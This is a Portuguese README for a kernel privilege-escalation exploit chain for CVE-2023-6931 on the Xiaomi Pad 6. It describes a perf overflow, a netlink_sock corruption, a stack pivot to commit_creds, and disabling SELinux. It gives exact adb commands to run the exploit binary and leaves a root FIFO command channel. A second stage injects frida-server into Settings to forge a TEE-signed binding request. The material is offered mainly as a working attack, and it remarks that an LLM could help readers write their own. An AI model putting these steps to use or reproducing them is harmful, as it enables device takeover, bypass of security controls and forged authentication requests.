
Exploit LPE de kernel para CVE-2023-6931 no Xiaomi Pad 6 (pipa), encadeando um overflow de read_size do perf para obter root e desabilitando o SELinux via corrupção data-only de netlink_sock sk_destruct.
A versão final do exploit usada no dispositivo, organizada separadamente neste diretório.
Dispositivo Xiaomi Pad 6 / pipa / SM8250
Sistema HyperOS OS2.0.20.0.UMZCNXM
Kernel 4.19.157-perf-g240e1d0a5f52
Ponto de partida adb shell (domínio shell)
Resultado uid0 único + SELinux permissive global (invalidado após reinício)
Ver o cabeçalho do arquivo exploit.c, resumo abaixo.
1) perf group read_size overflow -> primitiva de incremento u64 fora dos limites
2) incremento de victim netlink_sock->sk_destruct -> netlink_sock_destruct_work (+0x28e8)
3) close(victim) -> sk_destruct(work) -> container_of(work, netlink_sock, 0x440)
-> fake = victim-0x440 -> sk_free(fake) -> __sk_destruct(&fake->sk_rcu)
-> fake->sk_destruct @ fake+704 = pivot(mov sp, x19)
4) migração de pilha para o payload skb dentro de fake (pt_regs1 @ +960, pt_regs2 @ +1120)
5) restore_tramp -> eret EL1h -> commit_creds(&init_cred)
6) restore_no_kpti -> eret EL0 -> post_root
A desativação do SELinux segue por pura sobrescrita de dados: fake+0x248 aponta para selinux_state, o atomic_dec de __sk_destruct decrementa o enforcing do segmento de bit mais baixo dessa palavra de 1 para 0.
./build.sh # saída para exploit neste diretório
CC=aarch64-linux-gnu-gcc ./build.sh /tmp/exploit
Linha de comando usada pelo script de acionamento .project/scripts/drive_selinux_off.sh:
adb push exploit_selinux8 /data/local/tmp/exploit_selinux8
adb shell 'chmod 755 /data/local/tmp/exploit_selinux8'
adb shell 'cd /data/local/tmp && setsid nohup /data/local/tmp/exploit_selinux8 \
--selinux-off --layout-interleave --tsec-sid 1 --alarm-us 5000000 \
> /data/local/tmp/run.out 2>&1 < /dev/null &'
Significado dos parâmetros:
--selinux-off Desativa o SELinux (caminho de pura sobrescrita de dados), com falsificação de cred
--layout-interleave Distribuição intercalada da sequência de alocação, para que o incremento OOB caia no sk_destruct do objeto alvo
--tsec-sid 1 sid/osid do contexto de segurança do cred falsificado (usa 1 quando não é possível obter o sid do domínio real)
--alarm-us 5000000 ITIMER_REAL auto-despertado, tentativas travadas saem após 5 segundos
Pré-requisitos e limitações de execução:
shell consegue acessar perf_event e netlink_route, o domínio de aplicação não, portanto é obrigatório iniciar a partir de adb shell;perf_event_mlock_kb = 516, não execute repetidamente no mesmo boot, se a instância anterior não sair os eventos não são liberados, e uma nova execução só criará de 4000 a 6000;kill -9 para limpar instâncias antigas antes de tentar novamente, caso contrário conta-se como uma tentativa válida por boot;pause(), root e permissive valem apenas para esta inicialização.--edl, --edl2), usadas para entrar deterministicamente em EDL a partir da janela de root; este diretório inclui apenas a versão efetivamente utilizada.Este diretório contém apenas a primeira fase. A cadeia completa na verdade tem dois segmentos, e o ponto de conexão é o canal de comandos root deixado pela primeira fase.
Primeira fase exploit_selinux8 Escalada de privilégios no kernel + desativação do SELinux, depois para no canal de comandos root
Produto: uid0 + permissive, canal = FIFO /data/local/tmp/root_in|root_out
(também há sockets unix abstratos rootshell / rootshell2, e modo --root-client PORT)
Segunda fase stage2-frida/ Inicia frida-server como root através do canal acima, injeta no Settings
Produto: requisição de vinculação construída e emitida dentro do processo da aplicação (assinatura TEE)
Ao final da primeira fase, ROOTSHELL_OK é escrito em /data/local/tmp/root_proof.txt como credencial de execução de comandos. Depois disso, qualquer ação root do host consiste em escrever uma linha de comando no FIFO, por exemplo a linha que inicia o frida-server na segunda fase:
adb shell "echo 'killall -9 frida-server 2>/dev/null; rm -f /data/local/tmp/frida.log; \
setsid runcon u:r:shell:s0 /data/local/tmp/frida-server16 -D \
</dev/null >/data/local/tmp/frida.log 2>&1 & echo FRIDA_STARTED' > /data/local/tmp/root_in"
runcon u:r:shell:s0 não pode ser omitido: com o SELinux desativado, se o frida-server rodar no domínio kernel, não obtém o Android Context e o PackageManager lança NPE.
Dependências externas (não incluídas neste diretório): frida-server 16.7.19 (54 MB, em .project/tools/ext/frida/fs16, prefixo sha256 4eebf1fbc66ff54aba9a9124) e o cliente python correspondente (.project/tools/ext/fridavenv16, frida 16.7.19). Usa-se 16.x em vez de 17.x porque o agent do 17 não tem Java bridge.
A cadeia de chamadas completa é orquestrada por .project/scripts/drive_selinux_off.sh: ao atingir a janela de root, a primeira ação é bash .project/scripts/exp_forge_send.sh, e ao obter code 0 o loop é interrompido.
exploit_selinux8 é o artefato entregue, checksum em SHA256SUMS. Recompilar a partir do código-fonte deste diretório produz um binário diferente:
Recompilação do código deste diretório 1.853.744 B f8bb900bf4e197190d56bfc1437bcc9a025e49640a7fa2a78ff0f7fb0a6e7939
Recompilação do código original 1.853.752 B 96c7c3637682a2d5869ab4b6a732688a252f17f5e604b1695bc8fcc022113b3f
A versão efetivamente executada 1.853.720 B 279837d2ee028fbbb520120180156446ad8dc3286b723e28de300b544be2a21a
A diferença foi localizada símbolo a símbolo, e a origem é única: dois modos a mais na tabela de argumentos de linha de comando.
--edl frame2 chama __qcom_scm_set_dload_mode(dev, 1)
--edl2 frame2 escreve diretamente o cookie dload
Ou seja, a versão entregue foi compilada antes de adicionar o modo EDL, e o código atual é o posterior (.project/work/exploit_edl1, exploit_edl2 foram compilados a partir dele). O ramo EDL só tem efeito ao passar --edl ou --edl2, edl_mode é 0 por padrão, e a única linha relevante na construção do payload é edl_mode ? 1ULL : rt(OFF_INIT_CRED), portanto com a linha de comando final --selinux-off ambos se comportam de forma idêntica. A diferença é um incremento funcional, não uma correção ou mudança de comportamento; o binário é anexado como original e o código-fonte mantém a versão completa.
Processado com .project/tools/strip_dev_comments.py, removendo 124 blocos de comentários do processo de desenvolvimento (marcadores de iteração de versão como v96, v127, e tom de depuração em chinês como "valor antigo/testado/re-executado/pulado"), mantendo 313 comentários estruturais. A comparação do resultado do pré-processamento difere apenas em linhas vazias, os tokens de código são completamente idênticos. Os logs de execução ainda contêm textos impressos com prefixo vNNN:, pois são saída do programa e não comentários.
idk fr what files are really needed, if you want to you might very need a LLM to understand the whole exp and write yours.
| Arquivo | Descrição |
|---|
exploit.c | Código-fonte. Comentários do processo de desenvolvimento removidos, mantidos comentários estruturais como a descrição da cadeia no cabeçalho, tabela de offsets, layout de structs |
text_syms.h | Tabela de símbolos .text gerada a partir do dump de kallsyms do dispositivo, necessária para compilação |
ro_syms.h | Idem, tabela de símbolos de dados somente leitura, necessária para compilação |
exploit_selinux8 | Binário efetivamente executado no dispositivo, idêntico ao usado pelo script de acionamento |
build.sh | Script de build |
SHA256SUMS | Checksums dos arquivos acima |
| Arquivo | Descrição |
|---|
exp_forge_send.sh | Envia e inicia o frida-server 16.7.19, garante que o Settings está em execução, obtém o pid, executa o agent |
frida_run.py | Wrapper do cliente frida, suporta conexão direta via FRIDA_PID e auto-inicialização via FRIDA_SPAWN (contornando am/pm) |
forge_send.js | Dentro do processo Settings, replica getNonce, assina applyBind com o conjunto de campos antigo e emite |
| Item comparado | Resultado |
|---|
| Símbolos com tamanho de função diferente | Apenas main (shipped 17.744 B, recompilado 18.004 B, diferença de 260 B ≈ 65 instruções) |
| Demais 1.503 funções | Tamanhos idênticos, sem adições ou remoções |
| Símbolos presentes apenas na recompilação | Apenas edl_mode |
| Tabela de argumentos de linha de comando | shipped 85, recompilado 87, os extras são exatamente --edl e --edl2 |
Contagem de instruções de todo o .text | 126.533 e 126.597, diferença de 64, consistente com a diferença em main |